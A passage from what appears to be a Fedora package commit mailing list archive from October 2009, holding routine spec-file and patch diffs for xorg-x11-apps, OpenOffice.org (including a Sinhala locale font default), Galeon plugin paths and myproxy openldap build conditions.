 0e1a3110bebabecc2897d67a973526b0  xconsole-1.0.3.tar.bz2
 b4b561ef11fd184989a6062962e86748  xmessage-1.0.2.tar.bz2
-cc2b98b561b6431bd1e06d13ad2c7b5e  xinput-1.4.99.3.tar.bz2
+3e8a5f1faccc8ab00c6190e5a34e0a45  xinput-1.5.0.tar.bz2
 c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.0.1.tar.bz2
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/xorg-x11-apps.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- xorg-x11-apps.spec	7 Oct 2009 18:19:45 -0000	1.43
+++ xorg-x11-apps.spec	13 Oct 2009 06:01:37 -0000	1.44
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -16,7 +16,7 @@ Source0:  ftp://ftp.x.org/pub/individual
 Source1:  ftp://ftp.x.org/pub/individual/app/xclock-1.0.4.tar.bz2
 # X Window Dump (xwd) utilities
 Source2:  ftp://ftp.x.org/pub/individual/app/xwd-1.0.1.tar.bz2
-Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.1.tar.bz2
+Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.2.tar.bz2
 Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.2.tar.bz2
 # Miscellaneous other applications
 Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.4.tar.bz2
@@ -26,12 +26,12 @@ Source8:  ftp://ftp.x.org/pub/individual
 Source9:  ftp://ftp.x.org/pub/individual/app/xconsole-1.0.3.tar.bz2
 Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.2.tar.bz2
 Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.991.tar.bz2
-Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.1.tar.bz2
+Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.2.tar.bz2
 Source13: ftp://ftp.x.org/pub/individual/app/xload-1.0.2.tar.bz2
 Source14: ftp://ftp.x.org/pub/individual/app/xlogo-1.0.1.tar.bz2
-Source15: ftp://ftp.x.org/pub/individual/app/xmag-1.0.2.tar.bz2
+Source15: ftp://ftp.x.org/pub/individual/app/xmag-1.0.3.tar.bz2
 Source16: ftp://ftp.x.org/pub/individual/app/xmessage-1.0.2.tar.bz2
-Source17: ftp://ftp.x.org/pub/individual/app/xinput-1.4.99.3.tar.bz2
+Source17: ftp://ftp.x.org/pub/individual/app/xinput-1.5.0.tar.bz2
 Source18: ftp://ftp.x.org/pub/individual/app/xfd-1.0.1.tar.bz2
 Source19: ftp://ftp.x.org/pub/individual/app/xfontsel-1.0.2.tar.bz2
 Source20: ftp://ftp.x.org/pub/individual/app/xvidtune-1.0.1.tar.bz2
@@ -188,6 +188,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Tue Oct 13 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-8
+- xinput 1.5.0
+- xwud 1.0.2
+- xkill 1.0.2
+- xmag 1.0.3
+
 * Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
 - xeyes 1.0.991
 



From whot at fedoraproject.org  Tue Oct 13 06:13:18 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue, 13 Oct 2009 06:13:18 +0000 (UTC)
Subject: rpms/xorg-x11-apps/F-12 .cvsignore, 1.17, 1.18 sources, 1.19,
	1.20 xorg-x11-apps.spec, 1.43, 1.44
Message-ID: <20091013061318.A90A411C00E8@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-apps/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1449

Modified Files:
	.cvsignore sources xorg-x11-apps.spec 
Log Message:
* Tue Oct 13 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-8
- xinput 1.5.0
- xwud 1.0.2
- xkill 1.0.2
- xmag 1.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	24 Sep 2009 01:11:59 -0000	1.17
+++ .cvsignore	13 Oct 2009 06:13:18 -0000	1.18
@@ -1,21 +1,21 @@
-luit-1.0.2.tar.bz2
 oclock-1.0.1.tar.bz2
 x11perf-1.4.1.tar.bz2
 xbiff-1.0.1.tar.bz2
 xclipboard-1.0.1.tar.bz2
 xclock-1.0.4.tar.bz2
 xcursorgen-1.0.2.tar.bz2
-xeyes-1.0.1.tar.bz2
-xkill-1.0.1.tar.bz2
+xkill-1.0.2.tar.bz2
 xload-1.0.2.tar.bz2
 xlogo-1.0.1.tar.bz2
-xmag-1.0.2.tar.bz2
+xmag-1.0.3.tar.bz2
 xpr-1.0.2.tar.bz2
 xwd-1.0.1.tar.bz2
-xwud-1.0.1.tar.bz2
+xwud-1.0.2.tar.bz2
 xconsole-1.0.3.tar.bz2
 xmessage-1.0.2.tar.bz2
-xinput-1.4.99.3.tar.bz2
+xinput-1.5.0.tar.bz2
 xfd-1.0.1.tar.bz2
 xfontsel-1.0.2.tar.bz2
 xvidtune-1.0.1.tar.bz2
+luit-1.0.4.tar.bz2
+xeyes-1.0.991.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	7 Oct 2009 19:10:21 -0000	1.19
+++ sources	13 Oct 2009 06:13:18 -0000	1.20
@@ -5,16 +5,16 @@ fd06c8b8e3572a0e14af65a49e0dd7d1  x11per
 bb9fd5e00d39c348a0078b97fdf8258f  xclock-1.0.4.tar.bz2
 6fc90896b8c786cb1a2100b4167f7874  xcursorgen-1.0.2.tar.bz2
 033f14f7c4e30d1f4edbb22d5ef86883  xeyes-1.0.1.tar.bz2
-f66d76abb0f75514ca32272e23cca757  xkill-1.0.1.tar.bz2
+dca031355b4afcf8517a8258eeb730c3  xkill-1.0.2.tar.bz2
 b41ed6b4bcfc9897366c27a94d2bf150  xload-1.0.2.tar.bz2
 4c5482552f38a7d42398a694cc9b2ee6  xlogo-1.0.1.tar.bz2
-7c6a783e42c88360ac31d259a864a19d  xmag-1.0.2.tar.bz2
+32f7ed4c089365cadb9382f6fbd750a9  xmag-1.0.3.tar.bz2
 6b3a6896081f628bf5a2c9129417c86f  xpr-1.0.2.tar.bz2
 911addfb7fa402217ddac63e5c1d97c7  xwd-1.0.1.tar.bz2
-6e3c5d0297d88e890b6f5df31f73dd60  xwud-1.0.1.tar.bz2
+20bc5d85634964d4ceee77cdfcd131ed  xwud-1.0.2.tar.bz2
 0e1a3110bebabecc2897d67a973526b0  xconsole-1.0.3.tar.bz2
 b4b561ef11fd184989a6062962e86748  xmessage-1.0.2.tar.bz2
-cc2b98b561b6431bd1e06d13ad2c7b5e  xinput-1.4.99.3.tar.bz2
+3e8a5f1faccc8ab00c6190e5a34e0a45  xinput-1.5.0.tar.bz2
 c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.0.1.tar.bz2
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/xorg-x11-apps.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- xorg-x11-apps.spec	7 Oct 2009 19:10:22 -0000	1.43
+++ xorg-x11-apps.spec	13 Oct 2009 06:13:18 -0000	1.44
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -16,7 +16,7 @@ Source0:  ftp://ftp.x.org/pub/individual
 Source1:  ftp://ftp.x.org/pub/individual/app/xclock-1.0.4.tar.bz2
 # X Window Dump (xwd) utilities
 Source2:  ftp://ftp.x.org/pub/individual/app/xwd-1.0.1.tar.bz2
-Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.1.tar.bz2
+Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.2.tar.bz2
 Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.2.tar.bz2
 # Miscellaneous other applications
 Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.4.tar.bz2
@@ -26,12 +26,12 @@ Source8:  ftp://ftp.x.org/pub/individual
 Source9:  ftp://ftp.x.org/pub/individual/app/xconsole-1.0.3.tar.bz2
 Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.2.tar.bz2
 Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.991.tar.bz2
-Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.1.tar.bz2
+Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.2.tar.bz2
 Source13: ftp://ftp.x.org/pub/individual/app/xload-1.0.2.tar.bz2
 Source14: ftp://ftp.x.org/pub/individual/app/xlogo-1.0.1.tar.bz2
-Source15: ftp://ftp.x.org/pub/individual/app/xmag-1.0.2.tar.bz2
+Source15: ftp://ftp.x.org/pub/individual/app/xmag-1.0.3.tar.bz2
 Source16: ftp://ftp.x.org/pub/individual/app/xmessage-1.0.2.tar.bz2
-Source17: ftp://ftp.x.org/pub/individual/app/xinput-1.4.99.3.tar.bz2
+Source17: ftp://ftp.x.org/pub/individual/app/xinput-1.5.0.tar.bz2
 Source18: ftp://ftp.x.org/pub/individual/app/xfd-1.0.1.tar.bz2
 Source19: ftp://ftp.x.org/pub/individual/app/xfontsel-1.0.2.tar.bz2
 Source20: ftp://ftp.x.org/pub/individual/app/xvidtune-1.0.1.tar.bz2
@@ -188,6 +188,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Tue Oct 13 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-8
+- xinput 1.5.0
+- xwud 1.0.2
+- xkill 1.0.2
+- xmag 1.0.3
+
 * Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
 - xeyes 1.0.991
 



From dtardon at fedoraproject.org  Tue Oct 13 06:20:43 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Tue, 13 Oct 2009 06:20:43 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2030,1.2031
Message-ID: <20091013062043.B987B11C029E@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4632

Modified Files:
	openoffice.org.spec 
Log Message:
remove references to %{sdkinstdir}/include/psprint


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2030
retrieving revision 1.2031
diff -u -p -r1.2030 -r1.2031
--- openoffice.org.spec	12 Oct 2009 19:06:49 -0000	1.2030
+++ openoffice.org.spec	13 Oct 2009 06:20:43 -0000	1.2031
@@ -1843,7 +1843,6 @@ cp -r solenv/ $RPM_BUILD_ROOT/%{sdkinstd
 cp solver/%{OFFICEUPD}/unxlng*/bin/checkdll $RPM_BUILD_ROOT/%{sdkinstdir}/bin
 cp -r solver/%{OFFICEUPD}/unxlng*/inc/comphelper/ $RPM_BUILD_ROOT/%{sdkinstdir}/include
 cp -r solver/%{OFFICEUPD}/unxlng*/inc/i18npool/ $RPM_BUILD_ROOT/%{sdkinstdir}/include
-cp -r solver/%{OFFICEUPD}/unxlng*/inc/psprint $RPM_BUILD_ROOT/%{sdkinstdir}/include
 cp -r solver/%{OFFICEUPD}/unxlng*/inc/svtools $RPM_BUILD_ROOT/%{sdkinstdir}/include
 cp -r solver/%{OFFICEUPD}/unxlng*/inc/tools/ $RPM_BUILD_ROOT/%{sdkinstdir}/include
 cp -r solver/%{OFFICEUPD}/unxlng*/inc/vos $RPM_BUILD_ROOT/%{sdkinstdir}/include
@@ -3943,7 +3942,6 @@ update-desktop-database %{_datadir}/appl
 %exclude %{sdkinstdir}/include/comphelper
 %exclude %{sdkinstdir}/include/i18npool
 %exclude %{sdkinstdir}/include/vos
-%exclude %{sdkinstdir}/include/psprint
 %exclude %{sdkinstdir}/solenv
 %exclude %{sdkinstdir}/bin/checkdll
 
@@ -3960,7 +3958,6 @@ update-desktop-database %{_datadir}/appl
 %{sdkinstdir}/include/comphelper
 %{sdkinstdir}/include/i18npool
 %{sdkinstdir}/include/vos
-%{sdkinstdir}/include/psprint
 %{sdkinstdir}/solenv
 %{sdkinstdir}/bin/checkdll
 



From dtardon at fedoraproject.org  Tue Oct 13 06:57:04 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Tue, 13 Oct 2009 06:57:04 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch,
	NONE, 1.1 openoffice.org.spec, 1.2016, 1.2017
Message-ID: <20091013065705.077D911C00E8@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16045

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch 
Log Message:
Resolves: rhbz#528409 [si_LK] Default font in oowriter is not Language Default (LKLUG), but DejaVu Sans

openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch:
 VCL.xcu |   20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch ---
Index: officecfg/registry/data/org/openoffice/VCL.xcu
===================================================================
--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
+++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
@@ -1022,6 +1022,26 @@
     </node>
     <node oor:name="rw" oor:op="replace">
     </node>
+    <node oor:name="si" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
   </node>
   <node oor:name="FontSubstitutions">
     <node oor:name="en" oor:op="replace">


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2016
retrieving revision 1.2017
diff -u -p -r1.2016 -r1.2017
--- openoffice.org.spec	8 Oct 2009 12:56:42 -0000	1.2016
+++ openoffice.org.spec	13 Oct 2009 06:57:02 -0000	1.2017
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 11
+%define rh_rpm_release 12
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -164,6 +164,7 @@ Patch87: workspace.aw073.patch
 Patch88: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
 Patch89: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
 Patch90: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
+Patch91: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1714,6 +1715,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch88 -p0 -b .ooo92671.vcl.coverageformat2.patch
 %patch89 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
 %patch90 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
+%patch91 -p0 -b .ooo105815.officecfg.default-font-for-si-locale.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4247,6 +4249,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Tue Oct 13 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12-UNBUILT
+- Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
+  Language Default (LKLUG), but DejaVu Sans (dtardon)
+
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
 - Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch



From denis at fedoraproject.org  Tue Oct 13 07:21:43 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Tue, 13 Oct 2009 07:21:43 +0000 (UTC)
Subject: rpms/galeon/devel galeon-2.0.7-plugins.patch, 1.1, 1.2 galeon.spec, 
	1.64, 1.65
Message-ID: <20091013072144.1C32D11C00E8@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/galeon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22424

Modified Files:
	galeon-2.0.7-plugins.patch galeon.spec 
Log Message:
- Fixed plugin patch for #525825
- Restored VISUALS env variable to work around flash crashes 


galeon-2.0.7-plugins.patch:
 Makefile.in             |    2 +-
 mozilla-embed-shell.cpp |   20 +++++++++++++++++++-
 2 files changed, 20 insertions(+), 2 deletions(-)

Index: galeon-2.0.7-plugins.patch
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/devel/galeon-2.0.7-plugins.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- galeon-2.0.7-plugins.patch	27 Sep 2008 17:21:56 -0000	1.1
+++ galeon-2.0.7-plugins.patch	13 Oct 2009 07:21:42 -0000	1.2
@@ -9,39 +9,45 @@
  	-DSHARE_DIR=\"$(pkgdatadir)\" -D_GNU_SOURCE=1 -include \
  	mozilla-config.h $(am__append_1)
  noinst_LTLIBRARIES = libmozillaembed.la
---- galeon-2.0.7/mozilla/mozilla-embed-shell.cpp.orig	2008-09-03 06:58:17.000000000 +0200
-+++ galeon-2.0.7/mozilla/mozilla-embed-shell.cpp	2008-09-27 15:11:01.000000000 +0200
-@@ -230,6 +230,19 @@
+--- galeon-2.0.7/mozilla/mozilla-embed-shell.cpp~	2008-09-03 06:58:17.000000000 +0200
++++ galeon-2.0.7/mozilla/mozilla-embed-shell.cpp	2009-10-13 08:41:18.127313055 +0200
+@@ -230,6 +230,17 @@
  #endif
  }
  
 +static int
 +mozilla_setup_wrapped_plugin (void)
 +{
-+	char 	*p_viewer = "/usr/bin/mozilla-plugin-config";
-+	gboolean  ret;
++	char *p_viewer = "/usr/bin/mozilla-plugin-config";
 +
-+	if(g_file_test(p_viewer, G_FILE_TEST_EXISTS) == FALSE)
-+		return(FALSE);
++	if (g_file_test(p_viewer, G_FILE_TEST_EXISTS) == FALSE)
++		return FALSE;
 +
-+	ret = g_spawn_command_line_sync(p_viewer,NULL,NULL,NULL,NULL);
-+	return(ret); 
++	return TRUE;
 +}
 +
  static void
  mozilla_init_plugin_path ()
  {
-@@ -248,7 +261,12 @@
+@@ -248,13 +259,20 @@
  	g_string_append (new_path, "/.mozilla/plugins");
  
  	/* Add /usr/lib/mozilla/plugins (bug 149812) */
 -	g_string_append (new_path, ":/usr/lib/mozilla/plugins");
-+	if(mozilla_setup_wrapped_plugin()) {
++	if (mozilla_setup_wrapped_plugin()) {
 +		g_string_append (new_path, ":" TOP_LIB_DIR "/mozilla/plugins-wrapped");
-+	}
-+	else {
++	} else {
 +		g_string_append (new_path, ":" TOP_LIB_DIR "/mozilla/plugins");
 +	}
  
  #ifdef GALEON_MOZILLA_HOME
  	/* Add the current mozilla build's plugins dir */
+ 	g_string_append (new_path, ":" GALEON_MOZILLA_HOME "/plugins");
+ #endif
+ 
++	/* Work-around Flash Player crash */
++	g_setenv ("XLIB_SKIP_ARGB_VISUALS", "1", FALSE);
++
+ 	g_setenv ("MOZ_PLUGIN_PATH", new_path->str, TRUE);
+ 
+ 	g_string_free (new_path, TRUE);


Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/devel/galeon.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- galeon.spec	25 Sep 2009 07:20:06 -0000	1.64
+++ galeon.spec	13 Oct 2009 07:21:42 -0000	1.65
@@ -3,7 +3,7 @@
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	16%{?dist}
+Release:	17%{?dist}
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
@@ -133,6 +133,10 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Tue Oct 13 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-17
+- Fixed plugin patch for #525825
+- Restored VISUALS env variable to work around flash crashes 
+
 * Fri Sep 25 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-16
 - Added patch from Yanko Kaneti (#525417) to fix crash on startup
 



From stevetraylen at fedoraproject.org  Tue Oct 13 07:31:53 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Tue, 13 Oct 2009 07:31:53 +0000 (UTC)
Subject: rpms/myproxy/EL-4 myproxy.spec,1.1,1.2
Message-ID: <20091013073153.7278E11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24195/EL-4

Modified Files:
	myproxy.spec 
Log Message:
Disable openldap for .el4 build.



Index: myproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-4/myproxy.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- myproxy.spec	11 Oct 2009 06:15:53 -0000	1.1
+++ myproxy.spec	13 Oct 2009 07:31:53 -0000	1.2
@@ -8,7 +8,7 @@
 
 Name:           myproxy
 Version:        4.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials
 
 Group:          System Environment/Daemons
@@ -26,7 +26,9 @@ BuildRequires:  pam-devel
 BuildRequires:  graphviz
 BuildRequires:  voms-devel >= 1.9.12.1
 BuildRequires:  cyrus-sasl-devel
+%if "%{?rhel}" != "4"
 BuildRequires:  openldap-devel >= 2.3
+%endif
 BuildRequires:  grid-packaging-tools 
 BuildRequires:  doxygen
 
@@ -168,9 +170,15 @@ sed -e "s!<With_Flavors!<With_Flavors Co
 
 %{_datadir}/globus/globus-bootstrap.sh
 
+%if "%{?rhel}" == "4"
+%configure --with-flavor=%{flavor}  --enable-doxygen \
+                                    --with-voms=%{_usr} --without-openldap \
+                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%else
 %configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                     --with-voms=%{_usr} \
                                     --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%endif
 make %{?_smp_mflags}
 
 %install
@@ -383,6 +391,8 @@ fi
 %{_libdir}/pkgconfig/myproxy.pc
 
 %changelog
+* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> - 4.8-5
+- Disable openldap support for el4 only since openldap to old.
 * Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
 - Add ASL 2.0 license as well.
 - Explicitly add /etc/grid-security to files list



From stevetraylen at fedoraproject.org  Tue Oct 13 07:31:53 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Tue, 13 Oct 2009 07:31:53 +0000 (UTC)
Subject: rpms/myproxy/EL-5 myproxy.spec,1.1,1.2
Message-ID: <20091013073153.9328B11C00EB@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24195/EL-5

Modified Files:
	myproxy.spec 
Log Message:
Disable openldap for .el4 build.



Index: myproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-5/myproxy.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- myproxy.spec	11 Oct 2009 06:15:54 -0000	1.1
+++ myproxy.spec	13 Oct 2009 07:31:53 -0000	1.2
@@ -8,7 +8,7 @@
 
 Name:           myproxy
 Version:        4.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials
 
 Group:          System Environment/Daemons
@@ -26,7 +26,9 @@ BuildRequires:  pam-devel
 BuildRequires:  graphviz
 BuildRequires:  voms-devel >= 1.9.12.1
 BuildRequires:  cyrus-sasl-devel
+%if "%{?rhel}" != "4"
 BuildRequires:  openldap-devel >= 2.3
+%endif
 BuildRequires:  grid-packaging-tools 
 BuildRequires:  doxygen
 
@@ -168,9 +170,15 @@ sed -e "s!<With_Flavors!<With_Flavors Co
 
 %{_datadir}/globus/globus-bootstrap.sh
 
+%if "%{?rhel}" == "4"
+%configure --with-flavor=%{flavor}  --enable-doxygen \
+                                    --with-voms=%{_usr} --without-openldap \
+                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%else
 %configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                     --with-voms=%{_usr} \
                                     --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%endif
 make %{?_smp_mflags}
 
 %install
@@ -383,6 +391,8 @@ fi
 %{_libdir}/pkgconfig/myproxy.pc
 
 %changelog
+* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> - 4.8-5
+- Disable openldap support for el4 only since openldap to old.
 * Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
 - Add ASL 2.0 license as well.
 - Explicitly add /etc/grid-security to files list



From stevetraylen at fedoraproject.org  Tue Oct 13 07:31:54 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Tue, 13 Oct 2009 07:31:54 +0000 (UTC)
Subject: rpms/myproxy/F-12 myproxy.spec,1.1,1.2
Message-ID: <20091013073154.05CAD11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24195/F-12

Modified Files:
	myproxy.spec 
Log Message:
Disable openldap for .el4 build.



Index: myproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-12/myproxy.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- myproxy.spec	11 Oct 2009 06:15:55 -0000	1.1
+++ myproxy.spec	13 Oct 2009 07:31:53 -0000	1.2
@@ -8,7 +8,7 @@
 
 Name:           myproxy
 Version:        4.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials
 
 Group:          System Environment/Daemons
@@ -26,7 +26,9 @@ BuildRequires:  pam-devel
 BuildRequires:  graphviz
 BuildRequires:  voms-devel >= 1.9.12.1
 BuildRequires:  cyrus-sasl-devel
+%if "%{?rhel}" != "4"
 BuildRequires:  openldap-devel >= 2.3
+%endif
 BuildRequires:  grid-packaging-tools 
 BuildRequires:  doxygen
 
@@ -168,9 +170,15 @@ sed -e "s!<With_Flavors!<With_Flavors Co
 
 %{_datadir}/globus/globus-bootstrap.sh
 
+%if "%{?rhel}" == "4"
+%configure --with-flavor=%{flavor}  --enable-doxygen \
+                                    --with-voms=%{_usr} --without-openldap \
+                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%else
 %configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                     --with-voms=%{_usr} \
                                     --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%endif
 make %{?_smp_mflags}
 
 %install
